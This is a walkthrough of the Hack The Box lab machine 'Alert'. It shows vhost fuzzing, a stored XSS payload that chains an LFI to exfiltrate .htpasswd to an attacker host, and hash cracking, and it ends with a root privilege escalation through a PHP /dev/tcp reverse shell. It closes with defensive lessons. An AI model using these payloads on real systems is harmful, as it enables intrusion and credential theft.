root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat alert.md
// writeups

Alert

23 Nov 2024 · 10 min read
Alert - maquina de Hack The Box

Executive summary — Alert is an Easy Linux box with an elegant, very instructive web chain. A Markdown Viewer lets you upload .md files and share them; the viewer renders the Markdown without sanitising the resulting HTML, so a stored XSS fires when the administrator opens the link we send through the site's contact form. With that XSS we abuse an LFI in messages.php?file= to read the .htpasswd of a hidden vhost protected with basic auth (statistics.alert.htb, found by subdomain fuzzing); we crack albert's md5crypt hash with rockyou and SSH in. For the escalation, linpeas reveals that root runs a PHP development server on 127.0.0.1:8080 over /opt/website-monitor, whose config directory is group-writable by management (which albert belongs to): we drop a PHP reverse shell there, trigger it through an SSH tunnel, and land a shell as root. Path: vhost fuzzing → stored XSS → LFI → md5crypt → SSH → root's local PHP server with a writable config directory.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.231.188

Attack map

[80] Markdown Viewer → vhost fuzzing reveals statistics.alert.htb (basic auth)
   │  uploading a .md with <script> → stored XSS, fires when the admin opens the shared link
   ▼
[LFI]  messages.php?file=../../.. → exfiltrates the statistics vhost .htpasswd
   │  albert : $apr1$... (md5crypt) → cracked with rockyou → manchesterunited
   ▼
[SSH]  albert  (user.txt)
   │  root serves PHP on 127.0.0.1:8080 over /opt/website-monitor; config/ is group-writable (management)
   ▼
[ROOT]  reverse shell via shell.php in config/ + SSH -L tunnel → root.txt

1. Reconnaissance

Before touching anything, we map what's exposed. A full nmap scan avoids surprises later on (e.g. a third port that only shows up when scanning everything).

nmap -sC -sV -oN nmap.txt 10.129.231.188
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)

Port 80 serves a Markdown Viewer: an app that lets you upload .md files, render them as HTML and share the result via a link.

2. Virtual host enumeration

Plenty of HTB apps hide extra functionality behind a vhost that doesn't resolve by default. Without adding it to /etc/hosts and fuzzing for it, that surface stays invisible.

echo '10.129.231.188 alert.htb' | sudo tee -a /etc/hosts
ffuf -u http://alert.htb/ -H "Host: FUZZ.alert.htb" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -ac

A new subdomain shows up:

statistics.alert.htb
echo '10.129.231.188 statistics.alert.htb' | sudo tee -a /etc/hosts

That vhost is protected with HTTP basic auth — which is exactly why, later on, the goal is to steal the .htpasswd that guards it.

3. Stored XSS in the Markdown Viewer

The viewer converts uploaded Markdown to HTML without stripping dangerous tags. That means any <script> inside the .md runs verbatim in the browser of whoever opens the rendered file — a textbook stored XSS. The victim here isn't a random user, it's the administrator, whom we reach via the site's own Contact form.

First we stand up a server to catch the exfiltrated data:

python3 -m http.server 8888

The payload chains the XSS with a second flaw: messages.php accepts a file parameter with no path validation — an LFI that lets us read any file Apache can access, in this case the .htpasswd protecting statistics.alert.htb. We save this as testscript.md:

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(r => r.text())
  .then(data => {
    fetch("http://<ATTACKER_IP>:8888/?file_content=" + encodeURIComponent(data));
  });
</script>

4. Firing the XSS and exfiltrating .htpasswd

We upload testscript.md to the Markdown Viewer, click Share Markdown and copy the generated link (the identifier differs on every upload):

http://alert.htb/visualizer.php?link_share=699486931d79b8.34099168.md

We paste that link into the site's Contact form so the administrator opens it from their own session. The moment they do, the <script> runs with their privileges and our server receives the request:

GET /?file_content=%3Cpre%3Ealbert%3A%24apr1...

Decoding the parameter gives us the full contents of .htpasswd:

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

5. Cracking the md5crypt hash

The $apr1$ prefix identifies Apache md5crypt (the default algorithm used by htpasswd). We save the hash and attack it with a wordlist:

echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
albert:manchesterunited

6. SSH access

ssh albert@10.129.231.188
# password: manchesterunited
whoami   # albert
cat /home/albert/user.txt

7. Privilege escalation — root's local PHP service

linpeas.sh is the usual starting point so we don't waste time manually enumerating the obvious: processes, local ports, directory permissions and cron jobs.

./linpeas.sh

Two key findings. First, root is running a PHP development server listening only on localhost, serving a monitoring app:

/usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor

Second, a root process watches that app's config directory for changes with inotifywait — but watching isn't the same as preventing writes:

inotifywait -m -e modify /opt/website-monitor/config

The real flaw is the directory permission: albert belongs to the management group, which has write access to config:

drwxrwxr-x root management /opt/website-monitor/config

PHP's built-in php -S server executes any .php script served from its document root as the user running the process, with no reload or restart needed: if we drop a PHP file in config/ and request it over HTTP, it runs with the listener's privileges — root. We write a reverse shell:

nano /opt/website-monitor/config/shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Since port 8080 only listens on the victim's 127.0.0.1, we reach it through an SSH tunnel and set up the listener before firing the request:

nc -lvnp 4444
ssh -L 8080:127.0.0.1:8080 albert@10.129.231.188

Then in the browser (or with curl), we request the shell we just dropped:

http://127.0.0.1:8080/config/shell.php

The request lands on the listener as a root shell:

root@alert:/opt/website-monitor/config# whoami
root
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconVirtual hostsHidden vhost found via subdomain fuzzingAccess to a protected panel
FootholdMarkdown ViewerStored XSS (unsanitised HTML rendering)Execution in the administrator's session
Info leakmessages.phpLFI (path traversal in the file parameter)Read the statistics vhost's .htpasswd
Credentialsalbert's md5crypt hashDictionary-crackable passwordSSH access as albert
PrivEscroot's PHP server + group-writable config/Reverse shell in a directory served by a root processRoot shell

Lessons learned

  • Sanitise Markdown: converting user Markdown to HTML without stripping active tags (<script>, <iframe>...) is a direct stored XSS.
  • Validate file paths: never pass an unnormalised user parameter into a file-read operation; a plain ../../.. is enough for an LFI.
  • Slow hashes aren't enough: md5crypt is more expensive to crack than plain MD5, but a dictionary password (manchesterunited) still falls to rockyou.
  • Don't run dev services as root: PHP's built-in server (php -S) executes any script in its docroot with the process's privileges — if that docroot (or a subdirectory) is writable by an unprivileged group, that's RCE as root.
  • Monitoring isn't prevention: an inotifywait that alerts on directory changes is useless if the permissions already allow writing there.